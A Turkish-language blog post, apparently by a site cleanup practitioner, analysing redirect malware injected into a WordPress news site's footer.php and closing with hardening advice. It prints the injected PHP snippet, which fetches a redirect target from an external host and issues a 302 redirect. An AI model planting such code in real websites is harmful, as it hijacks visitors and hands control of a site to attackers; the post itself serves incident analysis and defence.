Eski tema, yeni dert.
Yine bir yönlendirme vakası. “Siteye girenler farklı farklı yerlere yönlendiriliyor.” mesajı aldığımda saat gece 3.
Haber sitesi olunca ziyaretçi çok. Kim tıklasa başka başka adreslere gidiyor. Cihaza göre muamele yani.
İlk incelediğimde zararlı kodun temadaki footer.php dosyasına enjekte edildiğini gördüm. Kod kısaca şöyle diyordu;
Önce şu adrese git, bu adreste uygun bağlantı varsa ziyaretçiyi oraya yönlendir.
`$tgurl = @r2048("http://youtubesave.org/rl/g.php");` Burada r2048() fonksiyonu çağrılıyor ve dışarıdaki sabit bir URL'ye istek gönderiliyor.
Fonksiyon bir değer döndürdüğü anda script bunun boş olup olmadığını kontrol ediyor. Eğer geçerli bir sonuç varsa, mevcut tüm output buffer temizleniyor.
Bunun nedeni HTTP header'larının bozulmasını engellemek. Ardından dönen adres header(`Location: ...`) ile tarayıcıya gönderiliyor ve 302 yönlendirmesi başlatılıyor. Son olarak da exit çağrısıyla script çalışmayı tamamen durduruyor.
`if($tgurl){`
while (@ob_get_level()) {
@ob_end_clean();
}
header("Location: " . $tgurl, true, 302);
exit;
}
Buraya kadar yönlendirmenin nasıl gerçekleştiğini anladım zaten. Dosyaları temizledim, temayı ve eklentileri güncelleştirdim.
Site kısa sürede ya da en azından bana geldikten sonra kısa bir sürede yayına devam etti.
Konuyu çok dağıtmak gibi olmasın haber sitesindeki reklamlar, bannerlar yönlendirilen spam bağlantılarında bulunanlardan daha fazlaydı. Klasik haber sitesi, haberi okumak için sayısız banner kaydır, haberin ilk kısmını oku, 5 reklam daha geç, ortasını oku, 10 reklam daha geç, sonunu oku. Sanırım sürümden kazanma mantığı ile çalışıyorlar. Neyse çok uzatmayım...
Dayanamayıp ne olduğunu çözmek istedim...
Fonksiyonun içine girdiğimde ilk olarak sunucuda cURL desteğinin olup olmadığını kontrol ettiğini gördüm. Eğer cURL kullanılabiliyorsa istek onun üzerinden gönderiliyor. Destek yoksa bu kez PHP'nin kendi `file_get_contents()` fonksiyonuna geçiliyor.
Yani saldırgan tek bir yönteme bağlı kalmamış; hangi ortamda çalışırsa çalışsın uzak sunucudan veri çekebilmek için iki farklı yol hazırlamış.
Fonksiyonun yaptığı iş aslında oldukça basit. Kendisi herhangi bir yönlendirme adresi barındırmıyor. Bunun yerine uzaktaki sunucudan gelen cevabı olduğu gibi geri döndürüyor. Daha sonra ana kod bu değeri Location header'ı olarak kullanıp ziyaretçiyi başka bir adrese gönderiyor.
Burada dikkatimi çeken nokta, yönlendirme adresinin kodun içine gömülmemiş olmasıydı. Bunun yerine saldırganlar hedef URL'yi tamamen uzaktaki sunucu üzerinden yönetiyor. Böylece istedikleri zaman hedef adresi değiştirebilir, farklı tarayıcılara veya mobil cihazlara farklı sonuçlar döndürebilirler. Zararlı dosyayı tekrar değiştirmelerine bile gerek kalmadan yönlendirme davranışını uzaktan kontrol edebiliyorlar.
Kodda sabit olarak kullanılan URL elimizde olduğu için bunu doğrudan inceleme şansım da vardı. Adresi tarayıcıda açtığımda, ziyaretçilerin yönlendirileceği hedef URL'nin döndürüldüğünü gördüm.
Bu sayede enjekte edilen kod dikkat çekmeyecek bir hal almış. Aslında uzun zamandır belirli saatlerde çalıştırılmış, belirli saatlerde de kapatılmış. Hiç sorun yokmuş gibi hayatına devam etmiş.
Basit bir yönlendirme sorunu olsa da burada amaç daha da farklı olabilirdi. Spam içerikler eklenebilir, ziyaretçi kredi kartları veya yönetici giriş bilgilerini ele geçirme vakası da olabilirdi.
Yani Wordpress'i kurup bir daha dokunmamak çok mantıklı bir yöntem değil, özellikle ziyaretçilerine dünya kadar reklam gösteriyorsan biraz çabalamakta fayda var. Çekirdek sürümü, tema ve eklentiler güncel olmadığında, saldırganların işini kolaylaştıran gereksiz açıklar da birikmeye başlıyor. Sonra da böyle vakalara denk geliyoruz.
Bir de işin sunucu tarafı var tabii. FTP veya SSH kullanıyorsanız bunları da varsayılan ayarlarla bırakmamakta fayda var. Mümkünse sadece belirli IP adreslerine izin vermek gibi küçük önlemler bile ciddi fark yaratabiliyor. Sonuçta tek bir önlem her şeyi çözmüyor ama her katman saldırganın işini biraz daha zorlaştırıyor.